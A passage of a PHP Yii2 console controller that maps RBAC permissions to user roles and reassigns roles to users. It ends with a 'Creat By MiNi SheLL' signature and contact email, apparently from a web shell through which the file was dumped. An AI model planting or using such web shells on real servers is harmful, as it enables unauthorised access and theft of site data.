        $this->addPermissionToRole(UserProfile::ADMIN, 'getInvoicesUPO');         
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'browseUpcomingContacts');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexUsersChanges');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyUsersChanges');  
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'clearCache'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyConsoleScriptsSettings');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexCurrencyRates');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::MARKETER, 'reportGoogleIndexingUrls');
        $this->addPermissionToRole(UserProfile::ADMIN, 'checkStatusGoogleIndexingUrls');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewGoogleInspectUrls');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexGoogleInspectUrls');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteGoogleInspectUrls');
        $this->addPermissionToRole(UserProfile::ADMIN, 'checkStatusGoogleInspectUrls');        
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'updatePresentationsPackagesDescriptions');

        $this->addPermissionToRole(UserProfile::ADMIN, 'indexUsersPayments'); 
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnUsersPayments'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewUsersPayments'); 
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnUsersPayments'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexUsersPaymentsSummary');

        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexCompaniesDocuments'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexRelatedCompaniesDocuments');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewCompaniesDocuments'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewRelatedCompaniesDocuments');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyCompaniesDocuments'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyRelatedCompaniesDocuments');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteCompaniesDocuments'); 
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'getCompaniesDocumentsFiles'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'getRelatedCompaniesDocumentsFiles');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteCompaniesDocumentsFiles'); 
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteCompaniesDocumentsUncompletedTasks');
                
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexWebsites');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnWebsites');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewWebsites');        
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnWebsites');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createWebsites');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateWebsites');
        $this->addPermissionToRole(UserProfile::COMPANY, 'updateOwnWebsites');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteWebsites');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnWebsites');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexWebsitesTemplates');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewWebsitesTemplates');    
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createWebsitesTemplates');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateWebsitesTemplates');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteWebsitesTemplates');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexBookstoreOrders');
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewBookstoreOrders');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'updateAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'selectDeliveryMethodForBookstoreOrders');
        $this->addPermissionToRole(UserProfile::USER, 'selectDeliveryMethodForOwnBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'selectDeliveryMethodForAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'setShipmentNumbersForBookstoreOrders');
        $this->addPermissionToRole(UserProfile::USER, 'setShipmentNumbersForOwnBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'setShipmentNumbersForAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'changeStatusForAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::COMPANY, 'updateAnnotationsForAssignedBookstoreOrders');
        $this->addPermissionToRole(UserProfile::USER, 'cancelOwnBookstoreOrders');
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexBookstoreOrdersPayments');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexAssignedBookstoreOrdersPayments');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexAssignedBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewAssignedBookstoreOrdersReturns');        
        $this->addPermissionToRole(UserProfile::ADMIN, 'createBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::USER, 'createOwnBookstoreOrdersReturns');        
        $this->addPermissionToRole(UserProfile::COMPANY, 'createAssignedBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::COMPANY, 'updateAssignedBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteBookstoreOrdersReturns');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteAssignedBookstoreOrdersReturns');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexExternalWebsitesChangesMonitoring');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewExternalWebsitesChangesMonitoring');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createExternalWebsitesChangesMonitoring');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateExternalWebsitesChangesMonitoring');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteExternalWebsitesChangesMonitoring');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexOpenAICommandsTemplates');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewOpenAICommandsTemplates');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyOpenAICommandsTemplates');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteOpenAICommandsTemplates');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewCompaniesStatistics');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteCompaniesStatistics');
//        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesStatistics');

        $this->addPermissionToRole(UserProfile::ADMIN, 'sendCumulativeInfoAboutCompaniesPayments');
//        $this->addPermissionToRole(UserProfile::MODERATOR, 'sendCumulativeInfoAboutCompaniesPayments'); //@todo wyłączone do czasu zaakceptowania
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewOwnUsers', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexBanners', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewBanners', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createBanners', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateBanners', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteBanners', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'copyBanners', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexMailings', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewMailings', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createMailings', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateMailings', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteMailings', false);
//        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deliveryManagementMailings', false); //wyłączone na prośbę Łukasza
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'testSendMailings', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexMailingsContents', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewMailingsContents', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createMailingsContents', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateMailingsContents', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteMailingsContents', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexMailingsReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewMailingsReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createMailingsReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'acceptMailingsReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateMailingsReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteMailingsReservations', false);
//        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'finalizeMailingsReservations', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexBannersReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewBannersReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createBannersReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateBannersReservations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteBannersReservations', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexOwnCompaniesOrdersItemsRealizations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'executeCompaniesOrdersItemsRealizations', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewOwnCompaniesOrdersItemsRealizations', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexWebsitesTemplates', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewWebsitesTemplates', false);    
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createWebsitesTemplates', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateWebsitesTemplates', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteWebsitesTemplates', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexWebsites', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewWebsites', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createWebsites', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'updateWebsites', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteWebsites', false);
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'sendBannersReservationsVersions', false); 
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'indexBannersReservationsVersions', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'createBannersReservationsVersions', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'viewBannersReservationsVersions', false);
//        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'acceptBannersReservationsVersions', false);
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'deleteBannersReservationsVersions', false);
//        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'requestPublicationBannersReservationsVersions', false); 
        
        $this->addPermissionToRole(UserProfile::WEB_DEVELOPER, 'clearCache', false); 
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    protected function addPermissionToRole($roleName, $permissionName, $orHierarchical = true)
    {
        if($orHierarchical === true) {
            switch($roleName) {
                case UserProfile::USER:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::USER], Yii::$app->authManager->getPermission($permissionName)); 
                case UserProfile::COMPANY:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::COMPANY], Yii::$app->authManager->getPermission($permissionName));    
                case UserProfile::MARKETER:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::MARKETER], Yii::$app->authManager->getPermission($permissionName));     
                case UserProfile::OPERATOR:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::OPERATOR], Yii::$app->authManager->getPermission($permissionName)); 
                case UserProfile::EDITOR:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::EDITOR], Yii::$app->authManager->getPermission($permissionName)); 
                case UserProfile::MODERATOR:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::MODERATOR], Yii::$app->authManager->getPermission($permissionName));    
                case UserProfile::ADMIN:
                    Yii::$app->authManager->addChild($this->roles[UserProfile::ADMIN], Yii::$app->authManager->getPermission($permissionName)); 
            }
        } else {
            Yii::$app->authManager->addChild($this->roles[$roleName], Yii::$app->authManager->getPermission($permissionName)); 
        }
    }
    
    /**
     * Associate roles with users
     * 
     * @return int exit code
     */
    public function actionAssociateRolesWithUsers()
    {
        $auth = Yii::$app->authManager;
        
        $auth->removeAllAssignments();
        
        $roles = $auth->getRoles();
        
        $users = \common\models\Users::find()->select(['id_user', 'profile'])->asArray()->all();
        if(empty($users)) {
            return Controller::EXIT_CODE_NORMAL;
        }
        
        foreach($users as $user) {
            $auth->assign($roles[$user['profile']], $user['id_user']);
        }
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    /**
     * Fills the tables used by the Authorization Manager
     * 
     * @return int exit code
     */
    public function actionIndex()
    {
        $this->actionCreateRoles();
        $this->actionCreateRules();
        $this->actionCreatePermissions();
        $this->actionAssociatePermissionsWithRoles();
        $this->actionAssociateRolesWithUsers();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
}


Creat By MiNi SheLL
Email: jattceo@gmail.com